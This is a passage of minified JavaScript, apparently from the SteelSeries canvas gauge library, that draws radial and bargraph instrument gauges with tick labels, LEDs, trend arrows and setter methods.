t.width=Math.ceil(f*.046728),t.height=Math.ceil(t.width*.9),n=t.getContext(\"2d\"),n.save(),i=n.createLinearGradient(0,.1,0,t.height*.9),i.addColorStop(0,\"#520000\"),i.addColorStop(.3,\"#fc1d00\"),i.addColorStop(.59,\"#fc1d00\"),i.addColorStop(1,\"#520000\"),n.fillStyle=i,n.beginPath(),n.moveTo(t.width*.5,.1),n.lineTo(t.width*.9,t.height*.9),n.lineTo(t.width*.1,t.height*.9),n.lineTo(t.width*.5,.1),n.closePath(),n.fill(),n.strokeStyle=\"#FFFFFF\",n.stroke(),n.restore(),t},vu=function(n,t,i,r,u){t<h?t=h:t>b&&(t=b),i<h?i=h:i>b&&(i=b);if(t>=i)return;n.save(),n.strokeStyle=r,n.fillStyle=r,n.lineWidth=s*.035;var f=at/yt*t-at/yt*h,e=f+(i-t)/(yt/at);n.translate(g,it),n.rotate(et),n.beginPath(),u?(n.moveTo(0,0),n.arc(0,0,s*.365-n.lineWidth/2,f,e,!1)):n.arc(0,0,s*.365,f,e,!1),u?(n.moveTo(0,0),n.fill()):n.stroke(),n.translate(-g,-it),n.restore()},df=function(n,t){var y,v,a,c;bt.labelColor.setAlpha(1),n.save(),n.textAlign=\"center\",n.textBaseline=\"middle\",y=Math.ceil(s*.04),n.font=y+\"px sans-serif\",n.strokeStyle=bt.labelColor.getRgbaColor(),n.fillStyle=bt.labelColor.getRgbaColor(),n.translate(g,it),n.rotate(et);var o=et,i=lt*fr,r,e=h,u=oi-1,l=s*.38,w=s*.35,d=s*.355,k=s*.36,p=s*.3,f=s*.1;for((ot.type===\"type1\"||ot.type===\"type2\")&&(f=s*.035),v=oi/2,a=parseFloat(b.toFixed(2)),c=h;parseFloat(c.toFixed(2))<=a;c+=fr){r=i+st,u++;if(u===oi){n.lineWidth=1.5,n.beginPath(),n.moveTo(l,0),n.lineTo(w,0),n.closePath(),n.stroke(),n.save(),n.translate(p,0);switch(le.type){case\"horizontal\":r=-o;break;case\"tangent\":r=o<=st+Math.PI?Math.PI:0;break;case\"normal\":default:r=st}n.rotate(r);switch(t.format){case\"fractional\":n.fillText(e.toFixed(pe),0,0,f);break;case\"scientific\":n.fillText(e.toPrecision(2),0,0,f);break;case\"standard\":default:n.fillText(e.toFixed(0),0,0,f)}n.translate(-p,0),n.restore(),e+=vt,u=0,n.rotate(i),o+=i;continue}0==oi%2&&u===v?(n.lineWidth=1,n.beginPath(),n.moveTo(l,0),n.lineTo(d,0),n.closePath(),n.stroke()):(n.lineWidth=.5,n.beginPath(),n.moveTo(l,0),n.lineTo(k,0),n.closePath(),n.stroke()),n.rotate(i),o+=i}n.translate(-g,-it),n.restore()},ft=function(n){var t,i,u;n=n||{};var c=undefined===n.frame?!1:n.frame,r=undefined===n.background?!1:n.background,e=undefined===n.led?!1:n.led,tt=undefined===n.pointer?!1:n.pointer,b=undefined===n.foreground?!1:n.foreground,ft=undefined===n.trend?!1:n.trend,ht=undefined===n.odo?!1:n.odo;ff=!0,re(),c&&wu&&v(nf,hu,g,it,s,k),r&&bu&&(w(ut,bt,g,it,s,k),rt(ut,fe,g,it,s,k)),e&&(uu.drawImage(o(Math.ceil(f*.093457),1,br),0,0),nu.drawImage(o(Math.ceil(f*.093457),0,br),0,0)),kr&&se.drawImage(a(Math.ceil(f*.028037),steelseries.ColorDef.BLUE.dark.getRgbaColor(),!0,!0),0,0),dr&&he.drawImage(a(Math.ceil(f*.028037),steelseries.ColorDef.RED.medium.getRgbaColor(),!0),0,0);if(r&&bu){te(ut);if(null!==ii&&0<ii.length){t=ii.length;do t--,vu(ut,ii[t].start,ii[t].stop,ii[t].color,!1);while(0<t)}if(null!==ui&&0<ui.length){i=ui.length;do i--,vu(ut,ui[i].start,ui[i].stop,ui[i].color,!0);while(0<i)}df(ut,oe),ct(ut,s,k,lu,au,bt,!0,!0)}r&&vf&&(ut.save(),ut.translate(g,it),ut.rotate(et+(ti-h)*lt+st),ut.translate(-g,-it),ut.drawImage(ie(),s*.475,k*.13),ut.translate(g,it),ut.restore()),r&&vr&&(sr&&ht?(cu=new steelseries.Odometer(\"\",{_context:su,height:f*.075,decimals:wt.decimals,digits:wt.digits===undefined?5:wt.digits,valueForeColor:wt.valueForeColor,valueBackColor:wt.valueBackColor,decimalForeColor:wt.decimalForeColor,decimalBackColor:wt.decimalBackColor,font:wt.font,value:l}),tf=(s-tr.width)/2):sr||(fu=p(bi,hf,ei),ut.drawImage(fu,sf,rf))),tt&&(nt(tu,s,pt,ar,bt.labelColor,!1),nt(ou,s,pt,ar,bt.labelColor,!0)),b&&af&&(u=pt.type===\"type15\"||pt.type===\"type16\"?!1:!0,y(pu,cf,s,k,u,ee,fi,ot)),ft&&wr&&(gu=d(lr,steelseries.TrendState.UP,hr),du=d(lr,steelseries.TrendState.STEADY,hr),ku=d(lr,steelseries.TrendState.DOWN,hr),yu=d(lr,steelseries.TrendState.OFF,hr))},dt=function(n){n=n||{};var u=undefined===n.frame?!1:n.frame,e=undefined===n.background?!1:n.background,r=undefined===n.led?!1:n.led,t=undefined===n.pointer?!1:n.pointer,i=undefined===n.foreground?!1:n.foreground;u&&(wi.width=f,wi.height=f,nf=wi.getContext(\"2d\")),e&&(di.width=f,di.height=f,ut=di.getContext(\"2d\")),r&&(hi.width=Math.ceil(f*.093457),hi.height=Math.ceil(f*.093457),uu=hi.getContext(\"2d\"),gt.width=Math.ceil(f*.093457),gt.height=Math.ceil(f*.093457),nu=gt.getContext(\"2d\"),si=gt),t&&(vi.width=f,vi.height=f,tu=vi.getContext(\"2d\"),yi.width=f,yi.height=f,ou=yi.getContext(\"2d\"),pi.width=f,pi.height=f,kt=pi.getContext(\"2d\")),i&&(li.width=f,li.height=f,pu=li.getContext(\"2d\"))},gf=function(){ru&&(si=si===hi?gt:hi,yf.repaint())},ur=function(n){n?ef=setInterval(gf,1e3):clearInterval(ef)};return this.setValue=function(n){var t=n<h?h:n>b?b:n;l!==t&&(l=t,l>ni&&(ni=l),l<ri&&(ri=l),l<ti||ht?l<ti&&(ht=!1,ur(ht),yr&&ki.pause()):(ht=!0,ur(ht),yr&&ki.play()),this.repaint())},this.getValue=function(){return l},this.setOdoValue=function(n){var t=n<0?0:n;or!==t&&(or=t,this.repaint())},this.getOdoValue=function(){return or},this.setValueAnimated=function(n){var r=n<h?h:n>b?b:n,t,i;l!==r&&(undefined!==t&&t.playing&&t.stop(),t=new Tween({},\"\",Tween.regularEaseInOut,l,r,1),i=this,t.onMotionChanged=function(n){l=n.target._pos,l<ti||ht?l<ti&&(ht=!1,ur(ht)):(ht=!0,ur(ht)),l>ni&&(ni=l),l<ri&&(ri=l),i.repaint()},t.start())},this.resetMinMeasuredValue=function(){ri=l,this.repaint()},this.resetMaxMeasuredValue=function(){ni=l,this.repaint()},this.setMinMeasuredValueVisible=function(n){kr=n,this.repaint()},this.setMaxMeasuredValueVisible=function(n){dr=n,this.repaint()},this.setMaxMeasuredValue=function(n){var t=n<h?h:n>b?b:n;ni=t,this.repaint()},this.setMinMeasuredValue=function(n){var t=n<h?h:n>b?b:n;ri=t,this.repaint()},this.setTitleString=function(n){lu=n,ft({background:!0}),this.repaint()},this.setUnitString=function(n){au=n,ft({background:!0}),this.repaint()},this.setMinValue=function(n){h=n,ft({frame:!0,background:!0}),this.repaint()},this.getMinValue=function(){return h},this.setMaxValue=function(n){b=n,ft({frame:!0,background:!0}),this.repaint()},this.getMaxValue=function(){return b},this.setThreshold=function(n){var t=n<h?h:n>b?b:n;ti=t,ft({background:!0}),this.repaint()},this.setArea=function(n){ui=n,dt({foreground:!0}),ft({background:!0,foreground:!0}),this.repaint()},this.setSection=function(n){ii=n,dt({foreground:!0}),ft({background:!0,foreground:!0}),this.repaint()},this.setThresholdVisible=function(n){vf=n,this.repaint()},this.setLcdDecimals=function(n){eu=n,this.repaint()},this.setFrameDesign=function(n){dt({frame:!0}),hu=n,ft({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){dt({background:!0,pointer:pt.type===\"type2\"||pt.type===\"type13\"?!0:!1}),bt=n,ft({background:!0,pointer:pt.type===\"type2\"||pt.type===\"type13\"?!0:!1}),this.repaint()},this.setForegroundType=function(n){dt({foreground:!0}),cf=n,ft({foreground:!0}),this.repaint()},this.setPointerType=function(n){dt({pointer:!0,foreground:!0}),pt=n,ft({pointer:!0,foreground:!0}),this.repaint()},this.setPointerColor=function(n){dt({pointer:!0}),ar=n,ft({pointer:!0}),this.repaint()},this.setLedColor=function(n){dt({led:!0}),br=n,ft({led:!0}),this.repaint()},this.setLcdColor=function(n){ei=n,ft({background:!0}),this.repaint()},this.setTrend=function(n){of=n,this.repaint()},this.setTrendVisible=function(n){wr=n,this.repaint()},this.repaint=function(){ff||ft({frame:!0,background:!0,led:!0,pointer:!0,trend:!0,foreground:!0,odo:!0}),u.clearRect(0,0,u.canvas.width,u.canvas.height),wu&&u.drawImage(wi,0,0),u.drawImage(di,0,0),vr&&(sr?(cu.setValue(wf?l:or),u.drawImage(tr,tf,ve)):kf(l)),ru&&(l<ti&&(ht=!1,si=gt),u.drawImage(si,pf,ne));if(wr)switch(of.state){case\"up\":u.drawImage(gu,cr,er);break;case\"steady\":u.drawImage(du,cr,er);break;case\"down\":u.drawImage(ku,cr,er);break;case\"off\":u.drawImage(yu,cr,er)}kr&&(u.save(),u.translate(g,it),u.rotate(et+st+(ri-h)*lt),u.translate(-g,-it),u.drawImage(iu,u.canvas.width*.4865,u.canvas.height*.105),u.restore()),dr&&(u.save(),u.translate(g,it),u.rotate(et+st+(ni-h)*lt),u.translate(-g,-it),u.drawImage(gr,u.canvas.width*.4865,u.canvas.height*.105),u.restore()),rr=et+st+(l-h)*lt;var n=s*.006;kt.clearRect(0,0,s,k),kt.save(),kt.translate(g,it),kt.rotate(rr),kt.translate(-g,-it),kt.drawImage(yi,0,0),kt.restore(),u.drawImage(pi,0,0,s,k,n,n,s+n,k+n),u.save(),u.translate(g,it),u.rotate(rr),u.translate(-g,-it),u.drawImage(vi,0,0),u.restore(),af&&u.drawImage(li,0,0)},this.repaint(),this},wi=function(n,i){var yi;i=i||{};var dt=undefined===i.gaugeType?steelseries.GaugeType.TYPE4:i.gaugeType,s=undefined===i.size?200:i.size,f=undefined===i.minValue?0:i.minValue,h=undefined===i.maxValue?f+100:i.maxValue,cf=undefined===i.niceScale?!0:i.niceScale,fi=undefined===i.threshold?(h-f)/2:i.threshold,bt=undefined===i.section?null:i.section,uu=undefined===i.useSectionColors?!1:i.useSectionColors,su=undefined===i.titleString?\"\":i.titleString,lu=undefined===i.unitString?\"\":i.unitString,bu=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,yu=undefined===i.frameVisible?!0:i.frameVisible,ei=undefined===i.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:i.backgroundColor,ou=undefined===i.backgroundVisible?!0:i.backgroundVisible,ur=undefined===i.valueColor?steelseries.ColorDef.RED:i.valueColor,ni=undefined===i.lcdColor?steelseries.LcdColor.STANDARD:i.lcdColor,au=undefined===i.lcdVisible?!0:i.lcdVisible,of=undefined===i.lcdDecimals?2:i.lcdDecimals,nf=undefined===i.digitalFont?!1:i.digitalFont,tf=undefined===i.fractionalScaleDecimals?1:i.fractionalScaleDecimals,wf=undefined===i.customLayer?null:i.customLayer,sr=undefined===i.ledColor?steelseries.LedColor.RED_LED:i.ledColor,ku=undefined===i.ledVisible?!0:i.ledVisible,pf=undefined===i.labelNumberFormat?steelseries.LabelNumberFormat.STANDARD:i.labelNumberFormat,fu=undefined===i.foregroundType?steelseries.ForegroundType.TYPE1:i.foregroundType,cu=undefined===i.foregroundVisible?!0:i.foregroundVisible,er=undefined===i.playAlarm?!1:i.playAlarm,eu=undefined===i.alarmSound?!1:i.alarmSound,vi=undefined===i.valueGradient?null:i.valueGradient,bf=undefined===i.useValueGradient?!1:i.useValueGradient,df=undefined===i.tickLabelOrientation?dt===steelseries.GaugeType.TYPE1?steelseries.TickLabelOrientation.TANGENT:steelseries.TickLabelOrientation.NORMAL:i.tickLabelOrientation,ar=undefined===i.trendVisible?!1:i.trendVisible,gi=undefined===i.trendColors?[steelseries.LedColor.RED_LED,steelseries.LedColor.GREEN_LED,steelseries.LedColor.CYAN_LED]:i.trendColors;er&&eu!==!1&&(yi=r.createElement(\"audio\"),yi.setAttribute(\"src\",eu),yi.setAttribute(\"preload\",\"auto\"));var it=f,et=h-f,ot=!1,hu=0,ti,kf=this,ft,b,ui,vt,l,lt,st,ii=[],wi=!1,lr=!1,u=r.getElementById(n).getContext(\"2d\");u.clearRect(0,0,u.canvas.width,u.canvas.height),u.canvas.width=s,u.canvas.height=s;var e=s,ut=s,k=e/2,g=ut/2,cr=Math.floor(e/10),hf=cr+\"px sans-serif\",lf=cr+\"px \"+tt,or=ut*.13,oi=e*.4,du=(e-oi)/2,gu=ut/2-or/2,nt=Math.PI/2,vf=e*.116822,af=e*.485981,pt=Math.ceil(s*.093457),vu=e*.53,wu=ut*.61,kt=Math.PI/180,pu=steelseries.TrendState.OFF,bi=s*.06,ki=s*.38,rr=s*.57;switch(dt.type){case\"type1\":ft=0,b=Math.PI,ui=0,vt=nt,l=nt,lt=l/Math.PI*180,st=l/et;break;case\"type2\":ft=0,b=Math.PI,ui=0,vt=nt,l=Math.PI,lt=l/Math.PI*180,st=l/et;break;case\"type3\":ft=0,b=nt,ui=-nt,vt=0,l=1.5*Math.PI,lt=l/Math.PI*180,st=l/et;break;case\"type4\":default:ft=Math.PI/3,b=nt+ft/2,ui=Math.PI/-3,vt=0,l=2*Math.PI-ft,lt=l/Math.PI*180,st=l/et}var hi=t(s,s),pr=hi.getContext(\"2d\"),ai=t(s,s),at=ai.getContext(\"2d\"),ru,li=t(Math.ceil(s*.060747),Math.ceil(s*.023364)),hr=li.getContext(\"2d\"),ri=t(pt,pt),tu=ri.getContext(\"2d\"),yt=t(pt,pt),gr=yt.getContext(\"2d\"),gt=yt,yf,si=t(s,s),wr=si.getContext(\"2d\"),br,kr,iu,dr,nu=!1,nr=f,tr=h,ci=h-f;et=tr-nr;var di=0,ht=0,fr=10,vr=10,ef=function(){cf?(ci=c(h-f,!1),ht=c(ci/(vr-1),!0),nr=Math.floor(f/ht)*ht,tr=Math.ceil(h/ht)*ht,di=c(ht/(fr-1),!0),f=nr,h=tr,et=h-f):(ci=h-f,nr=f,tr=h,et=ci,ht=c(ci/(vr-1),!0),di=c(ht/(fr-1),!0));switch(dt.type){case\"type1\":ft=0,b=Math.PI,vt=nt,l=nt,st=l/et;break;case\"type2\":ft=0,b=Math.PI,vt=nt,l=Math.PI,st=l/et;break;case\"type3\":ft=0,b=nt,vt=0,l=1.5*Math.PI,st=l/et;break;case\"type4\":default:ft=60*kt,b=nt+ft/2,vt=0,l=2*Math.PI-ft,st=l/et}angle=b+(it-f)*st},a=function(n){var t;n=n||{};var c=undefined===n.frame?!1:n.frame,i=undefined===n.background?!1:n.background,u=undefined===n.led?!1:n.led,l=undefined===n.value?!1:n.value,s=undefined===n.foreground?!1:n.foreground,r=undefined===n.trend?!1:n.trend;nu=!0,ef(),c&&yu&&v(pr,bu,k,g,e,ut),i&&ou&&(w(at,ei,k,g,e,ut),rt(at,wf,k,g,e,ut)),u&&(tu.drawImage(o(pt,1,sr),0,0),gr.drawImage(o(pt,0,sr),0,0),yf=at.getImageData(vu,wu,pt,pt)),i&&sf(at),i&&ou&&(uf(at,pf),ct(at,e,ut,su,lu,ei,!0,!0)),i&&au&&(ru=p(oi,or,ni),at.drawImage(ru,du,gu)),wi=!1;if(uu&&null!==bt&&0<bt.length){wi=!0,t=bt.length,ii=[];do t--,ii.push({start:(bt[t].start+Math.abs(f))/(h-f)*lt,stop:(bt[t].stop+Math.abs(f))/(h-f)*lt,color:wt(bt[t].color)});while(0<t)}lr=!1,bf&&vi!==null&&(wi=!1,lr=!0),l&&yr(hr,ur),s&&cu&&y(wr,fu,e,ut,!1,dt),r&&ar&&(br=d(bi,steelseries.TrendState.UP,gi),kr=d(bi,steelseries.TrendState.STEADY,gi),iu=d(bi,steelseries.TrendState.DOWN,gi),dr=d(bi,steelseries.TrendState.OFF,gi))},pi=function(n){n=n||{};var u=undefined===n.frame?!1:n.frame,f=undefined===n.background?!1:n.background,r=undefined===n.led?!1:n.led,t=undefined===n.value?!1:n.value,i=undefined===n.foreground?!1:n.foreground;u&&(hi.width=s,hi.height=s,pr=hi.getContext(\"2d\")),f&&(ai.width=s,ai.height=s,at=ai.getContext(\"2d\")),t&&(li.width=Math.ceil(s*.060747),li.height=Math.ceil(s*.023364),hr=li.getContext(\"2d\")),r&&(ri.width=Math.ceil(s*.093457),ri.height=Math.ceil(s*.093457),tu=ri.getContext(\"2d\"),yt.width=Math.ceil(s*.093457),yt.height=Math.ceil(s*.093457),gr=yt.getContext(\"2d\"),gt=yt),i&&(si.width=s,si.height=s,wr=si.getContext(\"2d\"))},sf=function(n){var t,r,i;n.save(),n.save(),n.lineWidth=s*.085,n.beginPath(),n.translate(k,g),n.rotate(b-4*kt),n.translate(-k,-g),n.arc(k,g,e*.35514,0,l+8*kt,!1),n.rotate(-b),t=n.createLinearGradient(0,.107476*ut,0,.897195*ut),t.addColorStop(0,\"#000000\"),t.addColorStop(.22,\"#333333\"),t.addColorStop(.76,\"#333333\"),t.addColorStop(1,\"#cccccc\"),n.strokeStyle=t,n.stroke(),n.restore(),n.save(),n.lineWidth=s*.075,n.beginPath(),n.translate(k,g),n.rotate(b-4*kt),n.translate(-k,-g),n.arc(k,g,e*.35514,0,l+8*kt,!1),n.rotate(-b),r=n.createLinearGradient(0,.112149*ut,0,.892523*ut),r.addColorStop(0,\"#111111\"),r.addColorStop(1,\"#333333\"),n.strokeStyle=r,n.stroke(),n.restore();var f=(e*.116822+e*.060747)/2,o=(e*.485981+e*.023364)/2,u=n.createRadialGradient(f,o,0,f,o,.030373*e);for(u.addColorStop(0,\"#3c3c3c\"),u.addColorStop(1,\"#323232\"),i=0,i=0;i<=lt;i+=5)n.save(),n.translate(k,g),n.rotate(i*kt+ui),n.translate(-k,-g),n.beginPath(),n.rect(e*.116822,e*.485981,e*.060747,e*.023364),n.closePath(),n.fillStyle=u,n.fill(),n.restore();n.restore()},yr=function(n,t){n.save(),n.beginPath(),n.rect(0,0,n.canvas.width,n.canvas.height),n.closePath();var r=n.canvas.width/2,f=n.canvas.height/2,i=u.createRadialGradient(r,f,0,r,f,n.canvas.width/2);i.addColorStop(0,t.light.getRgbaColor()),i.addColorStop(1,t.dark.getRgbaColor()),n.fillStyle=i,n.fill(),n.restore()},rf=function(n){u.save(),u.textAlign=\"right\",u.strokeStyle=ni.textColor,u.fillStyle=ni.textColor,(ni===steelseries.LcdColor.STANDARD||ni===steelseries.LcdColor.STANDARD_GREEN)&&(u.shadowColor=\"gray\",u.shadowOffsetX=e*.007,u.shadowOffsetY=e*.007,u.shadowBlur=e*.007),u.font=nf?lf:hf,u.fillText(n.toFixed(of),du+oi-oi*.05,gu+or*.5+cr*.38,oi*.9),u.restore()},uf=function(n,t){var a,v,c;ei.labelColor.setAlpha(1),n.save(),n.textAlign=\"center\",n.textBaseline=\"middle\",a=Math.ceil(e*.04),n.font=a+\"px sans-serif\",n.strokeStyle=ei.labelColor.getRgbaColor(),n.fillStyle=ei.labelColor.getRgbaColor(),n.translate(k,g),n.rotate(b);var s=b,i=st*di,r,u=f,l=fr-1,y=e*.28,o=e*.1;for((dt.type===\"type1\"||dt.type===\"type2\")&&(o=e*.0375),v=parseFloat(h.toFixed(2)),c=f;parseFloat(c.toFixed(2))<=v;c+=di){r=+i+nt,l++;if(l===fr){n.save(),n.translate(y,0);switch(df.type){case\"horizontal\":r=-s;break;case\"tangent\":r=s<=nt+Math.PI?Math.PI:0;break;case\"normal\":default:r=nt}n.rotate(r);switch(t.format){case\"fractional\":n.fillText(u.toFixed(tf),0,0,o);break;case\"scientific\":n.fillText(u.toPrecision(2),0,0,o);break;case\"standard\":default:n.fillText(u.toFixed(0),0,0,o)}n.translate(-y,0),n.restore(),u+=ht,l=0,n.rotate(i),s+=i;continue}n.rotate(i),s+=i}n.translate(-k,-g),n.restore()},ir=function(n){n?hu=setInterval(ff,1e3):clearInterval(hu)},ff=function(){ku&&(gt=gt===ri?yt:ri,kf.repaint())};return this.setValue=function(n){var t=n<f?f:n>h?h:n;it!==t&&(it=t,it<fi||ot?it<fi&&(ot=!1,ir(ot),er&&yi.pause()):(ot=!0,ir(ot),er&&yi.play()),this.repaint())},this.getValue=function(){return it},this.setValueAnimated=function(n){var i=n<f?f:n>h?h:n,t;it!==i&&(undefined!==ti&&ti.playing&&ti.stop(),ti=new Tween({},\"\",Tween.regularEaseInOut,it,i,1),t=this,ti.onMotionChanged=function(n){it=n.target._pos,it<fi||ot?it<fi&&(ot=!1,ir(ot)):(ot=!0,ir(ot)),t.repaint()},ti.start())},this.setFrameDesign=function(n){pi({frame:!0}),bu=n,a({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){pi({background:!0,led:!0}),ei=n,a({background:!0,led:!0}),this.repaint()},this.setForegroundType=function(n){pi({foreground:!0}),fu=n,a({foreground:!0}),this.repaint()},this.setValueColor=function(n){pi({value:!0}),ur=n,a({value:!0}),this.repaint()},this.setLedColor=function(n){pi({led:!0}),sr=n,a({led:!0}),this.repaint()},this.setLcdColor=function(n){ni=n,a({background:!0}),this.repaint()},this.setSection=function(n){bt=n,a(),this.repaint()},this.setSectionActive=function(n){uu=n,a(),this.repaint()},this.setGradient=function(n){vi=n,a(),this.repaint()},this.setGradientActive=function(n){useGradient=n,a(),this.repaint()},this.setMinValue=function(n){f=n,a({background:!0}),this.repaint()},this.getMinValue=function(){return f},this.setMaxValue=function(n){h=n,a({background:!0}),this.repaint()},this.getMaxValue=function(){return h},this.setThreshold=function(n){var t=n<f?f:n>h?h:n;fi=t,a({background:!0}),this.repaint()},this.setTitleString=function(n){su=n,a({background:!0}),this.repaint()},this.setUnitString=function(n){lu=n,a({background:!0}),this.repaint()},this.setTrend=function(n){pu=n,this.repaint()},this.setTrendVisible=function(n){ar=n,this.repaint()},this.repaint=function(){var o,i,e,n,t;for(nu||a({frame:!0,background:!0,led:!0,value:!0,trend:!0,foreground:!0}),u.clearRect(0,0,u.canvas.width,u.canvas.height),yu&&u.drawImage(hi,0,0),u.drawImage(ai,0,0),o=(it+Math.abs(f))/(h-f)*lt,e=ur,n=0;n<=o;n+=5){i=ur;if(lr){var s=f+n/lt*(h-f),c=vi.getEnd()-vi.getStart(),r=s/c;r=Math.max(Math.min(r,1),0),i=wt(vi.getColorAt(r).getRgbaColor())}else if(wi)for(t=0;t<ii.length;t++)if(n>=ii[t].start&&n<ii[t].stop){i=ii[t].color;break}e.medium.getHexColor()!==i.medium.getHexColor()&&(yr(hr,i),e=i),u.save(),u.translate(k,g),u.rotate(n*kt+ui),u.translate(-k,-g),u.drawImage(li,vf,af),u.restore()}au&&rf(it),ku&&(it<fi&&(ot=!1,gt=yt),u.drawImage(gt,vu,wu));if(ar)switch(pu.state){case\"up\":u.drawImage(br,ki,rr);break;case\"steady\":u.drawImage(kr,ki,rr);break;case\"down\":u.drawImage(iu,ki,rr);break;case\"off\":u.drawImage(dr,ki,rr)}cu&&u.drawImage(si,0,0)},this.repaint(),this},bi=function(n,i){var hi;i=i||{};var ft=undefined===i.orientation?steelseries.Orientation.NORTH:i.orientation,u=undefined===i.size?200:i.size,l=undefined===i.minValue?0:i.minValue,d=undefined===i.maxValue?l+100:i.maxValue,bu=undefined===i.niceScale?!0:i.niceScale,pt=undefined===i.threshold?(d-l)/2:i.threshold,gt=undefined===i.section?null:i.section,ni=undefined===i.area?null:i.area,gr=undefined===i.titleString?\"\":i.titleString,uu=undefined===i.unitString?\"\":i.unitString,iu=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,ru=undefined===i.frameVisible?!0:i.frameVisible,it=undefined===i.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:i.backgroundColor,yr=undefined===i.backgroundVisible?!0:i.backgroundVisible,ut=undefined===i.pointerType?steelseries.PointerType.TYPE1:i.pointerType,tr=undefined===i.pointerColor?steelseries.ColorDef.RED:i.pointerColor,du=undefined===i.knobType?steelseries.KnobType.STANDARD_KNOB:i.knobType,ci=undefined===i.knobStyle?steelseries.KnobStyle.SILVER:i.knobStyle,ki=undefined===i.ledColor?steelseries.LedColor.RED_LED:i.ledColor,tu=undefined===i.ledVisible?!0:i.ledVisible,vr=undefined===i.thresholdVisible?!0:i.thresholdVisible,gi=undefined===i.minMeasuredValueVisible?!1:i.minMeasuredValueVisible,di=undefined===i.maxMeasuredValueVisible?!1:i.maxMeasuredValueVisible,wr=undefined===i.foregroundType?steelseries.ForegroundType.TYPE1:i.foregroundType,dr=undefined===i.foregroundVisible?!0:i.foregroundVisible,eu=undefined===i.labelNumberFormat?steelseries.LabelNumberFormat.STANDARD:i.labelNumberFormat,nr=undefined===i.playAlarm?!1:i.playAlarm,br=undefined===i.alarmSound?!1:i.alarmSound;nr&&br!==!1&&(hi=r.createElement(\"audio\"),hi.setAttribute(\"src\",br),hi.setAttribute(\"preload\",\"auto\"));var kr=steelseries.GaugeType.TYPE5,wu=this,b=l,vt=d,wt=l,tt=!1,nu=0,dt,ct=Math.PI/2,gu=Math.PI/180,pi=l,wi=d,bi=d-l,at=wi-pi,yi=0,ot=0,oi=10,au=10,lu=0,rt=1.25*Math.PI,vu=1.25*Math.PI,kt=ct,ht=kt/at,pr=!1,ai=rt+(b-l)*ht,f=r.getElementById(n).getContext(\"2d\");f.clearRect(0,0,f.canvas.width,f.canvas.height),f.canvas.width=u,f.canvas.height=u;var h=u,k=u,s=h/2,g=k*.733644,pu=.455*h,yu=.51*k,ku=function(){bu?(bi=c(d-l,!1),ot=c(bi/(au-1),!0),pi=Math.floor(l/ot)*ot,wi=Math.ceil(d/ot)*ot,yi=c(ot/(oi-1),!0),l=pi,d=wi,at=d-l):(bi=d-l,pi=l,wi=d,at=bi,yi=1,ot=10),lu=0,rt=1.25*Math.PI,vu=1.25*Math.PI,kt=ct,ht=kt/at,ai=rt+(b-l)*ht},ui=t(u,u),fr=ui.getContext(\"2d\"),ri=t(u,u),p=ri.getContext(\"2d\"),ii=t(u*.093457,u*.093457),cr=ii.getContext(\"2d\"),st=t(u*.093457,u*.093457),ar=st.getContext(\"2d\"),bt=st,hr=t(Math.ceil(u*.028037),Math.ceil(u*.028037)),or=hr.getContext(\"2d\"),er=t(Math.ceil(u*.028037),Math.ceil(u*.028037)),rr=er.getContext(\"2d\"),fi=t(u,u),sr=fi.getContext(\"2d\"),li=t(u,u),lr=li.getContext(\"2d\"),yt=t(u,u),et=yt.getContext(\"2d\"),si=t(u,u),ir=si.getContext(\"2d\"),cu=function(n){\"type5\"===kr.type&&(n.save(),ft.type===\"west\"?(n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,ci),h*.44,k*.8),n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,ci),h*.44,k*.16)):(n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,ci),h*.2-k*.037383,k*.446666),n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,ci),h*.8,k*.446666)),n.restore())},hu=function(){var t=r.createElement(\"canvas\"),n,i;return t.width=Math.ceil(u*.046728),t.height=Math.ceil(t.width*.9),n=t.getContext(\"2d\"),n.save(),i=n.createLinearGradient(0,.1,0,t.height*.9),i.addColorStop(0,\"#520000\"),i.addColorStop(.3,\"#fc1d00\"),i.addColorStop(.59,\"#fc1d00\"),i.addColorStop(1,\"#520000\"),n.fillStyle=i,n.beginPath(),n.moveTo(t.width*.5,.1),n.lineTo(t.width*.9,t.height*.9),n.lineTo(t.width*.1,t.height*.9),n.lineTo(t.width*.5,.1),n.closePath(),n.fill(),n.strokeStyle=\"#FFFFFF\",n.stroke(),n.restore(),t},ur=function(n,t,i,r,u){n.save(),n.strokeStyle=r,n.fillStyle=r,n.lineWidth=h*.035;var f=kt/at*t-kt/at*l,e=f+(i-t)/(at/kt);n.translate(s,g),n.rotate(rt),n.beginPath(),u?(n.moveTo(0,0),n.arc(0,0,h*.365-n.lineWidth/2,f,e,!1)):n.arc(0,0,h*.365,f,e,!1),u?(n.moveTo(0,0),n.fill()):n.stroke(),n.translate(-s,-g),n.restore()},ou=function(n){var r,i,t;n.save(),n.textAlign=\"left\",n.textBaseline=\"middle\",n.strokeStyle=it.labelColor.getRgbaColor(),n.fillStyle=it.labelColor.getRgbaColor(),r=h,ei||vertical||(r=k),n.font=.046728*h+\"px sans-serif\",i=n.measureText(gr).width,n.fillText(gr,(h-i)/2,k*.4,h*.3),t=n.measureText(uu).width,n.fillText(uu,(h-t)/2,k*.47,h*.2),n.restore()},su=function(n,t){var a;it.labelColor.setAlpha(1),n.save(),steelseries.Orientation.WEST===ft&&(n.translate(s,s),n.rotate(-Math.PI/2),n.translate(-s,-s)),n.textAlign=\"center\",n.textBaseline=\"middle\",a=Math.ceil(h*.04),n.font=a+\"px sans-serif\",n.strokeStyle=it.labelColor.getRgbaColor(),n.fillStyle=it.labelColor.getRgbaColor(),n.translate(s,g),n.rotate(rt);for(var 